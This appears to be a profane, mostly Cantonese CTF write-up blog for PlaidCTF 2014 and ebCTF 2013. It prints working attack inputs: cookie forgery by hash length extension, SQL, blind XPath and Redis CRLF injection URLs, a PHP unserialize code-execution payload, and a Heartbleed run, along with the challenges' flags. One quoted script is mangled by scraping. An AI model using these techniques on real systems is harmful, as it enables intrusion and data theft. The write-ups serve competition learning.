2017年1月4日 星期三

Sanity Check

Ozetta is still alive (好似係)

2014年4月14日 星期一

PlaidCTF2014

阿邊個叫我寫 writeup 即係要我講粗口啦


Sanity check
Misc (1 pts)
The key is poop

好難 唔識玩 原來今次打答案個位打邊題答案都得


mtpox
Web (150 pts)

http://54.211.6.40/index.php?page=about
http://54.211.6.40/about
又係呢d啦
睇落冇咩分別咁

http://54.211.6.40/index.php?page=index.php
  if (isset($_GET['page'])) {
    if (strstr($_GET['page'], "secrets")) { echo "ERROR!\n"; }
    else { readfile(basename($_GET['page'])); }
  }
  else {
    readfile("index");
  }

secrets 你又識防喎 咁叻 唔防埋 admin

http://54.211.6.40/index.php?page=admin.php
  require_once("secrets.php");
  $auth = false;
  if (isset($_COOKIE["auth"])) {
     $auth = unserialize($_COOKIE["auth"]);
     $hsh = $_COOKIE["hsh"];
     if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) {
       $auth = false;
     }
  }
  else {
    $auth = false;
    $s = serialize($auth);
    setcookie("auth", $s);
    setcookie("hsh", hash("sha256", $SECRET . strrev($s)));
  }
  if ($auth) {
    if (isset($_GET['query'])) {
      $link = mysql_connect('localhost', $SQL_USER, $SQL_PASSWORD) or die('Could not connect: ' . mysql_error());
      mysql_select_db($SQL_DATABASE) or die('Could not select database');
      $qstr = mysql_real_escape_string($_GET['query']);
      $query = "SELECT amount FROM plaidcoin_wallets WHERE id=$qstr";
      $result = mysql_query($query) or die('Query failed: ' . mysql_error());
      $line = mysql_fetch_array($result, MYSQL_ASSOC);
      foreach ($line as $col_value) {
        echo "Wallet " . $_GET['query'] . " contains " . $col_value . " coins.";
      }
    } else {
       echo "MtPOX Admin PageWelcome to the admin panel!

Wallet ID:
";

    }
  }
  else echo "Sorry, not authorized.";

明眼人一睇就知係 length extension attack
本來個曲奇餅係咁:
auth=b%3A0%3B; hsh=ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c

依家想改到變 b:1;
作者好俾面咁將個 $s 加個 strrev 如果唔係都唔知點改
所以個 hash input 應該係 $SECRET . ";0:b%80...whatever...;1:b"

之後計一計呢個
sha256ext(";1:b","ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3", 64+4);
出 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1

咁依家就撞下個 plaintext 係咩喎 因為唔知個 SECRET 幾長
b%3A1%3B%28%80b%3A0%3B
b%3A1%3B0%80b%3A0%3B
b%3A1%3B8%80b%3A0%3B
b%3A1%3B%40%80b%3A0%3B
b%3A1%3BH%80b%3A0%3B
b%3A1%3BP%80b%3A0%3B
b%3A1%3BX%80b%3A0%3B
b%3A1%3B%60%80b%3A0%3B

結果試到第8個就得 後來睇返about果度見到句 "authenticate admin cookies using an 8-byte salt"
你老味。 

之後下半部好明顯係 SQLi 啦 掘到手都抽筋都係掘到兩個 database information_schema 同埋 mtpox 之後 mtpox 入面得個  table plaidcoin_wallets 入面得兩個 column id 同 amount 之後入面得條 record
http://54.211.6.40/admin.php?query=0
拿 id=0 有 1333337 coins 喎 吊你係唔係又要我打個 0 做 flag 定係 1333337
之後有隊友拿 sqlmap 掃鳩佢掃到個 flag 話響個 id 度 我唔能信再睇下
http://54.211.6.40/admin.php?query=1%20UNION%20SELECT%20id%20FROM%20plaidcoin_wallets
Wallet 1 UNION SELECT id FROM plaidcoin_wallets contains flag{phpPhPphpPPPphpcoin} coins.
哇吊你。 flag{phpPhPphpPPPphpcoin} = 0 喎。


twenty
Crypto (20 pts)

fvoxoxfvwdepagxmwxfpukleofxhwevefuygzepfvexwfvufgeyfryedojhwffoyhxcwgmlxeylawfxfurwfvoxecfezfvwbecpfpeejuygoyfefvwxfpwwfxojumwuxfuffvwawuxflecaazubwjwoyfvwyepfvwuxfhwfjlopwckaohvfjlzopwoaahevupgwpfvuywjoywjdwyfufjupouvbuaajwuaoupkecygjwoyfvwuxxdofvyeacmwbvuzoyhlecpwzcbroyhdofvfvwgcgwdveheffvwrwlxfelecpxuzwuygfvexwfvufbuyfgempoyhxcofxbplfelecpcybawxujfexwffawgoxkcfwxfvechvflecgfubrawfvoxdofvuaoffawjepwfubfmcffvwyuhuoyzcghwkubrwpxogeyfryediubroxvwgufwupwswplfojwofvoyrezaorxuyhmcfxvofjuyfvwlpwubepkepufoeyuygojukwpxeyozobufoeyezzpwwgejzepuaaleczoaagebrwfxaorwfvufxubeybwkfzepwohyfeluaadvoawaudlwpxjcggldufwpuygfpexxfuaaecfezmcxoywxxoxiuoazepjwuyglecpwxcoyhjwbosoaalwnvomoffvoxoyfvwbecpfpeejheeygeofogupwlecbeyhpufcaufoeyxfvwzauhoxxoybwywdbplkfejohvfvuswyxumubrgeepxocxweagbplkfe

又係呢d 唔使諗dum去Decrypto解解佢先啦吊你
http://www.blisstonia.com/software/WebDecrypto/
拿咪話我唔提你 記得揀返 Find spaces

this is the worlds bestrapyoits geo hot and for those that don t know i m getting sued by sony lets take this out of the court room and into the streets i m a beast at the least you ll face me in the nor the ast get my ire up light my fire i ll go harder than eminem went at mariah call mealiar pound me in the ass with no lub ech a fing you refucking with the dude who got the keys to your safe and those that cant do bring suits cry to your uncles am to settle disputes thought you d tackle this with a little more tact but then againfudge packers i don t know jack i shed at ear every time i think of lik sang but shit man they reacorporation and i m a personification of freedom for all you fill dockets like that s a concept foreign toy all while lawyers muddy water and tross tall out of business is jail for me and you resuing me civilly exhibit this in the court room go on do it i dare you congratulations the flag is since new cryp to might haven s a back doors i use old crypt o

congratulations the flag is sincenewcryptomighthavensabackdoorsiuseoldcrypto


Heartbleed
Misc (10 pts)
http://www.exploit-db.com/exploits/32745/

python hb.py 54.82.147.138 -p 45373
3fc0: 66 6C 61 67 7B 68 65 79 5F 67 75 69 73 65 5F 77  flag{hey_guise_w
3fd0: 65 5F 6D 61 64 65 5F 61 5F 68 65 61 72 74 62 6C  e_made_a_heartbl
3fe0: 65 65 64 7D 00 66 6C 61 67 7B 68 65 79 5F 67 75  eed}.flag{hey_gu
3ff0: 69 73 65 5F 77 65 5F 6D 61 64 65 5F 61 5F 68 65  ise_we_made_a_he

flag{hey_guise_we_made_a_heartbleed}


multiplication is hard
Misc (10 pts)
The Plague went back in time... but we haven't yet figured out what he did this time... Anyway, what is 38.55 * 1700?
http://plus-sys.jugem.jp/?eid=85

又計錯數
呢題唔係我答 我邊識睇日文 (好似係)


doge_stege
Forensics (100 pts)

唉開個小畫家睇下隻狗先啦
果d 咩 wow such hacker 果堆字可以用油漆桶倒滿冇漏 即係唔係 LSB 啦 (<- div="">
唔玩 LSB 咁通常都係玩色板
幅圖咁細用晒 256 個色板都有d 警軍
求其開個 Hex Editor 改個色板算
PLTE 之後 768 個byte 改 之後果4byte CRC 唔理啦
Fill FFFFFF000000 先啦
聰明得滯既 Picasa 一 check 到CRC有問題唔俾我貼 我是但用個小畫家再 save 多次 所以你 download 完唔會見到奇怪色板

睇壞眼 多左咩 flag plz
e_alive_20
黑白唔啱睇下 RGB
Fill FF000000FF000000FF 

咩 e_alive_2014}
唔夠開心 Fill random byte 算

好明顯係 p_doge_alive_2014}
我估係唔係 keep_doge_alive_2014

咦有個 pctf{k 響頭喎好似 唔好問我點睇個 k 果個好明顯係 k 啦
答案 pctf{keep_doge_alive_2014}
睇壞眼


curlcore
Forensics (250 pts)
訓左教冇玩


ezhp
Pwnables (200 pts)
呢d咁難既題目好明顯唔係我答


halphow2js
Web (200 pts)
var FLAG="XXXXXXXXXXXXXXXXXXXXXX"; // <- 0="" 2="" 3="" 50="" :="" a="" amp="" ath.min.apply="" b="" dare="" for="" function="" i="" infinity="" jjjjjjjjjjjaaaaaaaaaaaavvvvvvvvvvaaaaaaaaaaaasssssssssscccccccccccrrrrrrrrrriiiiiiiiiipppppppppppppttttttttttttt="" map="" mystop.sbox="" mystop="" n="" null="" q="" return="" s:infinity="" s="" stop="" stopb="" submitting="" that="" try="" twos="" var="" x="" xia="" xxx="" you.="" yyy="(function" z="">= a.length ? undefined : x%1 || !x || x == n ? (function(){a.splice(i,1); return xia(a[i],i,a);})() : x;
 }).filter(function(x){return x;}).map(stopb(b-1))));
 // i'll make a JAVASCRIPT problem SO HARD that EVEN MATH CAN'T SOLVE IT
}; })(xxx)(z);
 if(yyy != Infinity) return yyy;
}
}
mystop.sbox = {2:1, 1:1, 4:1};

function filter() {
 var args = [].slice.apply(arguments).sort().filter(function(x,i,a){return a.indexOf(x) == i;});
 if(args.length != 5) return "uniq";
 
 var flag = false; args.map(function(x){flag |= x >= 999;});
 if(flag) return "big";
 
 var m = args.map(mystop);
 
 if(m.filter(function(x,i){return m[2]+3*i == x;}).length < 3) return "unsexy";
 if(m.filter(function(x,i){return x == args[i];}).length < 3) return "hippopotamus";
 if(m.filter(function(x,i){return x > m[i-1];}).length > 3) return "banana phone";
 
 return FLAG;
}

function self_test() {
 // SLOW SLOW SLOW self test
 var checksum1 = 15661;
 var checksum2 = 19;
 var i = 999;
 while(--i > 0) {
  var x = mystop(i);
  if(!(0 < x && x < 50)) return false;
  checksum1 -= x;
  checksum2 ^= x;
 }
 return checksum1 === 0 && checksum2 === 0;
}

function client_side() {
 var x,y,z,w,ww;
 while(1) {
  x = prompt("#1", '1'); if(!x) return;
  y = prompt("#2", '2'); if(!y) return;
  z = prompt("#3", '3'); if(!z) return;
  w = prompt("#YOLO", '420'); if(!w) return;
  ww = prompt("#PPP", '123'); if(!ww) return;
  
  // The best solutions run FAST!
  // So, skip the slow self test if you've got a solution!
  if(filter(x,y,z,w,ww) == FLAG) break;
  
  if(!self_test()) {
   alert("Sanity check failed! Get a better javascript!");
   return;
  }
  alert("Pick better numbers, man.");
 }
 call_server(x,y,z,w,ww, function(x) { alert(x); });
}

function call_server(x,y,z,w,ww,handler) {
 xmlhttp = new XMLHttpRequest();
 var port = "80"
 if(document.location.port) port = document.location.port;
 xmlhttp.open("GET", "https://"+document.location.hostname+":"+port+ // arrr, where be my C format stringsss
              "/myajax?x="+x+"&y="+y+"&z="+z+"&w="+w+"&ww="+ww, true); // CSTYLE4LYFE
 xmlhttp.onreadystatechange = function(){
  if(xmlhttp.readyState==4 && xmlhttp.status==200) {
   handler(string=xmlhttp.responseText);
  }
 }
 xmlhttp.send();
}
拿拿臨 submit XXXXXXXXXXXXXXXXXXXXXX 先啦吊你
成題完全唔知做乜 睇下呢度先
// The best solutions run FAST!
  // So, skip the slow self test if you've got a solution!
  if(filter(x,y,z,w,ww) == FLAG) break;
即係唔可以俾佢出 uniq big unsexy hippopotamus 或者 banana phone
我呢d 懶人梗係狗屎垃圾都 log 下睇下做乜

function filtar() {
 var args = [].slice.apply(arguments).sort().filter(function(x,i,a){return a.indexOf(x) == i;});
 console.log(args);
 if(args.length != 5) return "uniq";
 
 var flag = false; args.map(function(x){flag |= x >= 999;});
 if(flag) return "big";
 
 var m = args.map(mystop);
 console.log(m);
 console.log(m.filter(function(x,i){return m[2]+3*i == x;}));
 console.log(m.filter(function(x,i){return x == args[i];}));
 console.log(m.filter(function(x,i){return x > m[i-1];}));

 if(m.filter(function(x,i){return m[2]+3*i == x;}).length < 3) return "unsexy";
 if(m.filter(function(x,i){return x == args[i];}).length < 3) return "hippopotamus";
 if(m.filter(function(x,i){return x > m[i-1];}).length > 3) return "banana phone";
 
 return FLAG;
}

點解俾我改做 filtar 係因為我發現 javascript 入面真係有個 method 叫 filter 廢事撈亂
你入5個數佢會幫你整走重覆數 同埋用文字方式排序 即係你入 2 3 5 7 11 會變左 11 2 3 5 7
第一關 uniq 好簡單啦 唔好入重覆數就得
第二關 big 都好簡單 唔好打個數咁大就得

之後你入果5個數會 map 去個 function mystop 同你計一大餐數 
gen 幾項去 OEIS 搵都搵唔到 預左啦


之後果三個麻煩 checking

講下河馬先 要你map 完果 5個數有其中三個或以上同未map 之前一樣
個 self-test 就話 input range 入面個 map output 一定係 1 至 49 咁剩係試 1至49 囉
args m
1 1
2 1
3 5
4 1
5 3
6 6
7 11
8 2
9 5
10 4
11 9
12 6
13 5
14 12
15 11
16 2
17 7
18 6
19 13
20 4
21 3
22 10
23 9
24 6
25 15
26 6
27 13
28 4
29 11
30 12
31 19
32 2
33 9
34 8
35 7
36 6
37 7
38 14
39 15
40 4
41 11
42 4
43 13
44 10
45 9
46 10
47 17
48 6
49 9

吊你得 1 同 6 map 完一樣
之後又鳩試下d 奇怪 input 例如 1.5 啊 01 啊呢d 原來 1, 2 同埋 4 如果你用d怪 input 入佢會出 2 instead of 1. 應該係因為佢個 sbox 作怪
咁依家有 1, 6 同埋 "02", " 2", "0x2", "2.0", "2e0" 呢d得
睇返 unsexy 果個
要有至少三個 第 n 個 output 等於 (n-1)*3 + 第3個 output
第3個已經收左皮啦邊有 x = x + 6
又要用 1, 2 同埋 6
你老味 1+3n = 1,4,7,10,13; 2+3n = 2,5,8,11,14; 3n = 0,3,6,9,12
真係個個獨當一面

之後又試下鳩打d 野 發現個 Array ["1"] 都會 map 返去 1
結果我屎窟痕裝個 node.js 試下打 w=1&w= 會點 點知佢出 ['1',''] 算鬼數

之後無端端諗到如果鳩用個 1 唔得 可以試下鳩用個 2
https://54.196.246.17:8001/myajax?x=0x02&y=0x03&z=0x2&w=41&ww=6
唉終於得
w00t_i_are_mastar_web_hackar



kpop
Web (200 pts)

明眼人一睇就知玩 class unserialize
求其抄佢d code 改下d 野再 serialize 然後放去 import 果度俾佢 import 或者改 cookie 之後去某d page 都 trigger 到個 unserialize

見到寫log去個 /var/www/sqli/unserial/logs/ 咁開心 試下寫 code 啦
唔知點解撞到呢個
http://54.234.123.205/logs/
咁應該 ../fuckyou.php 會出到野啦
一 import 之後打 fuckyou.php 404喎吊你
吊我試下 write 去 import.php 畫面都白埋 唔知係唔係有 write protection
之後再睇下 咦有個硬膠 preg_replace
明眼人一睇就知係玩個 /e 啦
之後改下啦
呢句:
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "\\1");
改做
$fltr = new OutputFilter("/(.*)/e", "highlight_file('/home/flag/flag')");
唉我連讀 file 都唔識寫 highlight_file 算
之後再 serialize base64_encode 放去 import

Your songs have been imported! Go back to the songs page to see them!
One_of_our_favorite_songs_is_bubble_popOne_of_our_favorite_songs_is_bubble_popOne_of_our_favorite_songs_is_bubble_pop


最後 #55 1141分  唉個分個數都衰過人咩141. 唔玩 poop 果題算
解唔到果d唔講啦 好難唔識答 吊你



2013年8月4日 星期日

ebCTF@OHM2013 Web300

Web300
http://46.137.18.104

The site looks like generating some random quotes. Click on that funny > to navigate.
Here are some quotes:
It seems like a ridiculous idea!
We should give them a chance. They have to go somewhere
They are criminals, Their file says so.

Google them and you will find that it is the script for Flodder, as suggested in the question name.
Maybe navigate to the end will have the flag, so how about 500?
http://46.137.18.104/?pos=500&proof=2286
It kicks me back to the first quote. Now see how the funny > works:
function goto(pos) {
 pos = new String(pos);
 var proof = 0;
 while(md5(pos+proof).substring(0,4) != "1234") {
  proof = proof + 1;
 }
  
 window.location = "?pos="+escape(pos)+"&proof="+escape(proof);
}

There is a data integrity checker. So don't bother, just call the function and goto there.
It will go to:
A big sausage. Very greasy. That one there.

So this is not the end. How about 1000

Now it is empty. I am not a binary search so the next one is not 750. Let's try 900.
Hey you, keep it clean in here!

How about 950:
I got you!

You got me but I didn't get the flag. Let's try 975 (oh well binary search):
http://46.137.18.104/?pos=975&proof=121298

It is empty. Then what about 960:
http://46.137.18.104/?pos=960&proof=17658
Shall we make a picture? - Picture?

Oh you need a picture? 970:
http://46.137.18.104/?pos=970&proof=19940

Empty. 965:
http://46.137.18.104/?pos=965&proof=304665
Dear Sjakie...

Who is Sjakie? 968:
http://46.137.18.104/?pos=968&proof=4953
We really appreciate that we can stay in your summerhouse in the South of France.

As 970 is empty, 969 will be the last:
http://46.137.18.104/?pos=969&proof=30136
Everyone wishes you well and give their regards.

No flag. How about check all 970 quotes? But as the first quote says, "It seems like a ridiculous idea!".



Now I cut the crap. What you need to know here is we have 970 quotes and the funny integrity checking.
Let's see the SQLi works or not, try 1 or 2:
http://46.137.18.104/?pos=1%20or%202&proof=185017

It shows all the quotes! Search "ebCTF{" and you will get nothing.
How about 1 and 2:
http://46.137.18.104/?pos=1%20and%202&proof=14689
It also shows all the quotes. Very weird isn't it.
1 and 0:
http://46.137.18.104/?pos=1%20and%200&proof=8584
All quotes.
0 and 1:
http://46.137.18.104/?pos=0%20and%201&proof=112326
Nothing. You got some logic problem? Anyway let's try those standard subqueries:

1 and (SELECT 1)
http://46.137.18.104/?pos=1%20and%20%28SELECT%201%29&proof=5604
Empty! Is there an error? Maybe DUAL helps:
http://46.137.18.104/?pos=1%20and%20%28SELECT%201%20FROM%20DUAL%29&proof=64017
Empty. Then maybe it is sqlite:
http://46.137.18.104/?pos=1%20and%20%28SELECT%201%20FROM%20sqlite_master%29&proof=7604
Still empty. Maybe that is not SQL statement, let's do some maths first:

5+2:
http://46.137.18.104/?pos=5%2B2&proof=47319
It shows the quote from pos=7. Note that if you use the javascript goto('5+2') it will kick you out because of the plus sign.

5-2:
http://46.137.18.104/?pos=5-2&proof=299
So it shows the quote from pos=3.

5*2:
http://46.137.18.104/?pos=5*2&proof=41253
It's the quote from pos=10.

5/2:
http://46.137.18.104/?pos=5/2&proof=196522
Empty. How about 6/2:
http://46.137.18.104/?pos=6/2&proof=108385
Also empty. This funny thing knows additional subtraction multiplication but not division, maybe "/" is a reserved character? Now let's try some more difficult maths:

5%2:
http://46.137.18.104/?pos=5%252&proof=52232
Empty.
5^2:
http://46.137.18.104/?pos=5%5E2&proof=175881
Empty.
5**2:
http://46.137.18.104/?pos=5**2&proof=17354
Empty.
5&3:
http://46.137.18.104/?pos=5%263&proof=80984
Empty.
5|2:
http://46.137.18.104/?pos=5%7C2&proof=107570
Empty.
5>>2:
http://46.137.18.104/?pos=5%3E%3E2&proof=172591
Empty.
5<<2: p="">http://46.137.18.104/?pos=5%3C%3C2&proof=32047
Empty.
5=5:
http://46.137.18.104/?pos=5%3D5&proof=29577
Empty.
5==5:
http://46.137.18.104/?pos=5%3D%3D5&proof=10006
Also empty!
5!=2:
http://46.137.18.104/?pos=5%20%21%3D%202&proof=8987
OK we got all quotes now.
5<>2:
http://46.137.18.104/?pos=5%20%3C%3E%202&proof=5714
Nothing.
5>2:
http://46.137.18.104/?pos=5%3E2&proof=688
All quotes.
2<5: p="">http://46.137.18.104/?pos=2%3C5&proof=28335
Also works. What's wrong with the equal?
5 eq 5:
http://46.137.18.104/?pos=5%20eq%205&proof=14661
Empty.
not 0:
http://46.137.18.104/?pos=not%200&proof=110915
Empty.
~0:
http://46.137.18.104/?pos=~0&proof=21933
Empty.
-1:
http://46.137.18.104/?pos=-1&proof=173609
It kicks me back to the origin. Very strange.

Now if you think this is not strange, here is it:
5 mod 2:
http://46.137.18.104/?pos=5%20mod%202&proof=1532
Shows the quote with pos=1. Why mod but not %. And mod is a keyword. Proof:
5 mad 2:
http://46.137.18.104/?pos=5%20mad%202&proof=247401
Empty. Mad won't work.

Now we get some clue: If the thing inside is a Boolean True value, it gives all quotes, or else if that is a number, it gives a specific quote. And also -1 will kick me out, so it seems that the query is getting a specific line of a file, so line = pos + 1, and line 0 is weird.
To see that hypothesis, let's try something that is more weird:

5)*(2:
http://46.137.18.104/?pos=5%29*%282&proof=210471
It gives "OUCH", which is pos=14. So (   5)*(2   +1   ) = (   14   +1   ).
But still, I have no idea about what query is it. Previously we have the weird "mod", which looks like Visual Basic. Maybe we should try these:

2 Is 2:
http://46.137.18.104/?pos=2%20Is%202&proof=16433
Empty.
2 Like 2:
http://46.137.18.104/?pos=2%20Like%202&proof=43602
Empty.

mid(1,1,1):
http://46.137.18.104/?pos=mid%281%2C1%2C1%29&proof=152338
Nothing. Don't have mid, but have mod. How about the standard stuff.
substr(1,1,1):
http://46.137.18.104/?pos=substr%281%2C1%2C1%29&proof=125364
Empty.
substring(1,1,1):
http://46.137.18.104/?pos=substring%281%2C1%2C1%29&proof=1401
Oh something comes out. Oh oh oh oh. We have mod and substring.
Let's try other functions:
concat(1,1):
http://46.137.18.104/?pos=concat%281%2C1%29&proof=30673
We got something, now we have mod, substring and concat.
len(11):
http://46.137.18.104/?pos=len%2811%29&proof=34262
Nothing.
length(11):
http://46.137.18.104/?pos=length%2811%29&proof=89331
Nothing.
strlen(11):
http://46.137.18.104/?pos=strlen%2811%29&proof=86382
Nothing. Well, I expect there should be some kind of length function. Anyway let's try some other:
round(1):
http://46.137.18.104/?pos=round%281%29&proof=9448
We got result. So now we have mod, substring, concat and round.
floor(1):
http://46.137.18.104/?pos=floor%281%29&proof=106058
We also got result. mod, substring, concat, round and floor.
ceil(1):
http://46.137.18.104/?pos=ceil%281%29&proof=104727
Nothing. How about this
ceiling(1):
http://46.137.18.104/?pos=ceiling%281%29&proof=414095
We got something. mod, substring, concat, round, floor and ceiling.

Tired with these? Maybe it's about time to ask Google. Since mod is not a function (no brackets), I exclude it from the query. search "substring concat round floor ceiling", and the first one is Oracle documentation. Oh oracle. But wait, Oracle uses ceil instead of ceiling, and SELECT 1 FROM DUAL fails.

Now you feel that this writeup contains too many junks. Yes it is. Sorry for wasting you so much time.

Then the second one is a nice school that teaches you XPath, XQuery, and XSLT Functions:
http://www.w3schools.com/xpath/xpath_functions.asp
Sounds promising. So where is strlen ?
string-length(1):
http://46.137.18.104/?pos=string-length%281%29&proof=39347
It works!





So up to this point, it is pretty sure that the query is using XPath.
For your reference, you may read this:
https://www.owasp.org/index.php/Blind_XPath_Injection


Now it's time for some blind injection queries. It constructs like this:

1) and true() and (1
http://46.137.18.104/?pos=1%29%20and%20true%28%29%20and%20%281&proof=81297
Gives you "It seems like a ridiculous idea!"

1) and false() and (1
http://46.137.18.104/?pos=1%29%20and%20false%28%29%20and%20%281&proof=139267
Gives you nothing.


Since I have no idea about the file system, the flag should be inside the xml file. First we need to know about the tag name:
1) and starts-with(name(),'a') and (1
http://46.137.18.104/?pos=1%29%20and%20starts-with%28name%28%29%2C%27a%27%29%20and%20%281&proof=179186
Empty.
1) and starts-with(name(),'b') and (1
http://46.137.18.104/?pos=1%29%20and%20starts-with%28name%28%29%2C%27b%27%29%20and%20%281&proof=22468
Empty.
For the interest of readers, I tell you it starts from l:

1) and starts-with(name(),'l') and (1

It shows you the quote! Isn't that magic? :)

OK. Now guess the next character.
1) and starts-with(name(),'la') and (1
http://46.137.18.104/?pos=1%29%20and%20starts-with%28name%28%29%2C%27la%27%29%20and%20%281&proof=104552
Empty.
and keep trying you will end up with li:

1) and starts-with(name(),'li') and (1
http://46.137.18.104/?pos=1%29%20and%20starts-with%28name%28%29%2C%27li%27%29%20and%20%281&proof=76239
It seems like a ridiculous idea! comes out. Good.

From "li", it looks like "list" or "line". And I tell you it is "line".
1) and starts-with(name(),'line') and (1
http://46.137.18.104/?pos=1%29%20and%20starts-with%28name%28%29%2C%27line%27%29%20and%20%281&proof=80527

And you may also want to check the length:

1) and string-length(name()) = 4 and (1
http://46.137.18.104/?pos=1%29%20and%20string-length%28name%28%29%29%20%3D%204%20and%20%281&proof=126657
True.


Now crawl the nodes and see which one is interesting. First let's count the nodes:

1) and count(//line/child::node()) > 0 and (1
http://46.137.18.104/?pos=1%29%20and%20count%28//line/child%3A%3Anode%28%29%29%20%3E%200%20and%20%281&proof=120223
True. But greater than zero is not interesting. Since we have 970 quotes, I think it should be around that number.

1) and count(//line/child::node()) > 969 and (1
http://46.137.18.104/?pos=1%29%20and%20count%28//line/child%3A%3Anode%28%29%29%20%3E%20969%20and%20%281&proof=20493
True.

1) and count(//line/child::node()) > 970 and (1
http://46.137.18.104/?pos=1%29%20and%20count%28//line/child%3A%3Anode%28%29%29%20%3E%20970%20and%20%281&proof=25850
Also True. Weird?

1) and count(//line/child::node()) > 971 and (1
http://46.137.18.104/?pos=1%29%20and%20count%28//line/child%3A%3Anode%28%29%29%20%3E%20971%20and%20%281&proof=42475
True again?

1) and count(//line/child::node()) > 972 and (1
http://46.137.18.104/?pos=1%29%20and%20count%28//line/child%3A%3Anode%28%29%29%20%3E%20972%20and%20%281&proof=211689
False now. We have 972 nodes in total but 970 quotes. Looks like one of the line got a flag hidden.


Then you can write a program to send 970 queries:
1) and count(//line[position()=$i]/child::node()) = 1 and (1
for $i = 1 to 970 (or 972 if you like), and md5 the response to make a signature.
While most of them's response signature is "2d03b9ebdccc7b7063e48067b7ff5cfa", when $i = 429, it becomes "a39cbbcc053106660ed222cd6902abdb".

Now you may also check:

1) and count(//line[position()=429]/child::node()) = 3 and (1
http://46.137.18.104/?pos=1%29%20and%20count%28//line%5Bposition%28%29%3D429%5D/child%3A%3Anode%28%29%29%20%3D%203%20and%20%281&proof=13022
Which is true. That means this line got 3 nodes. If you go to the original message, you will find that there is an extra line before the quote:
http://46.137.18.104/?pos=428&proof=44222
But it doesn't matter. No one will recognize this hint.
Now we should find which node got "ebCTF{":


1) and contains(//line[position()=429]/child::node()[position()=1],'ebCTF{') and (1
http://46.137.18.104/?pos=1%29%20and%20contains%28//line%5Bposition%28%29%3D429%5D/child%3A%3Anode%28%29%5Bposition%28%29%3D1%5D%2C%27ebCTF%7B%27%29%20and%20%281&proof=29691
False.

1) and contains(//line[position()=429]/child::node()[position()=2],'ebCTF{') and (1
http://46.137.18.104/?pos=1%29%20and%20contains%28//line%5Bposition%28%29%3D429%5D/child%3A%3Anode%28%29%5Bposition%28%29%3D2%5D%2C%27ebCTF%7B%27%29%20and%20%281&proof=28613
True.

1) and contains(//line[position()=429]/child::node()[position()=3],'ebCTF{') and (1
http://46.137.18.104/?pos=1%29%20and%20contains%28//line%5Bposition%28%29%3D429%5D/child%3A%3Anode%28%29%5Bposition%28%29%3D3%5D%2C%27ebCTF%7B%27%29%20and%20%281&proof=24609
False.

So it is inside position 2. Run the program and change "ebCTF{" to "ebCTF{0", "ebCTF{1", etc, to get the following:

ebCTF{a77cc448eace781101ec6966e9615c8d}

Well. By the way the line doesn't start with ebCTF, looks like there is a character at the beginning to prevent it show up in the normal query, and the first node is that empty line, third node is the quote.


And finally:
https://twitter.com/eb_CTF/status/363382032899899394
It is very rare that I can be the first one to answer a question in such a high quality and tough CTF game. I enjoy the game very much. Thanks for Eindbazen for organizing this event and thank you for reading.

ebCTF@OHM2013 Web200

Web200
http://54.217.3.87:5000/

It is a login interface using NoSQL database. Try with test/test:
http://54.217.3.87:5000/?action=login&username=test&password=test
Response:
User not found

Nice response. Then try with SQLi:
http://54.217.3.87:5000/?action=login&username=test%27+or+%27z%27%3D%27z&password=test
Response:
Our open source, BSD licensed, advanced key-value store returned an error: -ERR wrong number of arguments for 'get' command

Weird error message. Search "open source, BSD licensed, advanced key-value store" and you will get "Redis", which is a NoSQL database. The nice thing of Redis's website is you can test the commands:
http://redis.io/commands/get

Search "wrong number of arguments for 'get' command" and you will get the clue about the 'get' command needs only one argument.
The space character rocks. Then how can we inject other query or do subquery?
If we put a line break (%0d%0a), then it starts another line for another command, let say GET admin:
http://54.217.3.87:5000/?action=login&username=test%0d%0aGET%20admin&password=test
Response:
User not found

No error message, but user not found. So there is no admin.
If we try other commands, like EXISTS something:
http://54.217.3.87:5000/?action=login&username=test%0d%0aEXISTS%20admin&password=test
Response:
User found however the SHA-1 hash in the database does not match the SHA-1 hash of the password you provided.

From the message, I guess the query is retrieving the password sha-1 hash with the username as key value.
Using EXISTS someweirdkey should return 0, and maybe we can try this:
http://54.217.3.87:5000/?action=login&username=0%0d%0aEXISTS%20someweirdkey&password=0
Response:
User found however the SHA-1 hash in the database does not match the SHA-1 hash of the password you provided.

It looks like I need to give a password with sha1 hash is 0, or find some other way to output 0 for the command. The former way doesn't make sense, so how about the latter way. sha1("password") = 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8, so we have:
http://54.217.3.87:5000/?action=login&username=admin%0d%0aECHO%205baa61e4c9b93f3f0682250b6cf8331b7ee68fd8&password=password
Response:
Our open source, BSD licensed, advanced key-value store returned an error: -ERR unknown command 'ECHO'

Oh, they blocked ECHO. When you get angry, you may want to try this:
http://54.217.3.87:5000/?action=login&username=test%0d%0aFLUSHDB&password=test
Response:
Our open source, BSD licensed, advanced key-value store returned an error: -READONLY You can't write against a read only slave.

:) Let's continue. If you search "site:redis.io sha command", you will get some funny commands called "SCRIPT LOAD" and "SCRIPT EXISTS".
http://redis.io/commands/script-load
** This command returns the SHA1 digest of the script added into the script cache. **

Wow. This is what we want. And the page for SCRIPT EXISTS gives you an example:
SCRIPT LOAD "return 1"
Now let's try:
http://54.217.3.87:5000/?action=login&username=test%0d%0aSCRIPT%20LOAD%20%22return%201%22&password=return%201
Response:
Our open source, BSD licensed, advanced key-value store returned an error: -ERR Unknown SCRIPT subcommand or wrong # of args.

Oh damn you, the space rocks. How about quoting the stuff with single quote:
http://54.217.3.87:5000/?action=login&username=test%0d%0aSCRIPT%20LOAD%20'return%201'&password=return%201
Response:
Our open source, BSD licensed, advanced key-value store returned an error: -ERR Unknown SCRIPT subcommand or wrong # of args.

We need something that doesn't need space. Finally we have:
http://54.217.3.87:5000/?action=login&username=test%0d%0aSCRIPT%20LOAD%20return&password=return
Response:
Congrats the flag is: ebCTF{de26ceb319c7636f09adf6238e7fd606}


return what?.

ebCTF@OHM2013 Crypto200

Crypto200

Here we have 4096 RSA messages including the modulus (n) and the ciphertext (c), but no public exponent (e). As the title suggested, "One to many", I expect all plaintexts (m) are the same.

One possible attack is using the Chinese Remainder Theorem. Suppose e = 3, then we can recover m^3 from three messages by CRT:
 
Well. I don't know the e. So brute force it. Starting from 3, and then 5, 7, 11, 13, ... it doesn't work.
As e goes larger, the calculation time for CRT is longer and longer, and the program crashes.
Well, if I try e = 4093 (the largest possible e for this attack), the program crashes as expected.

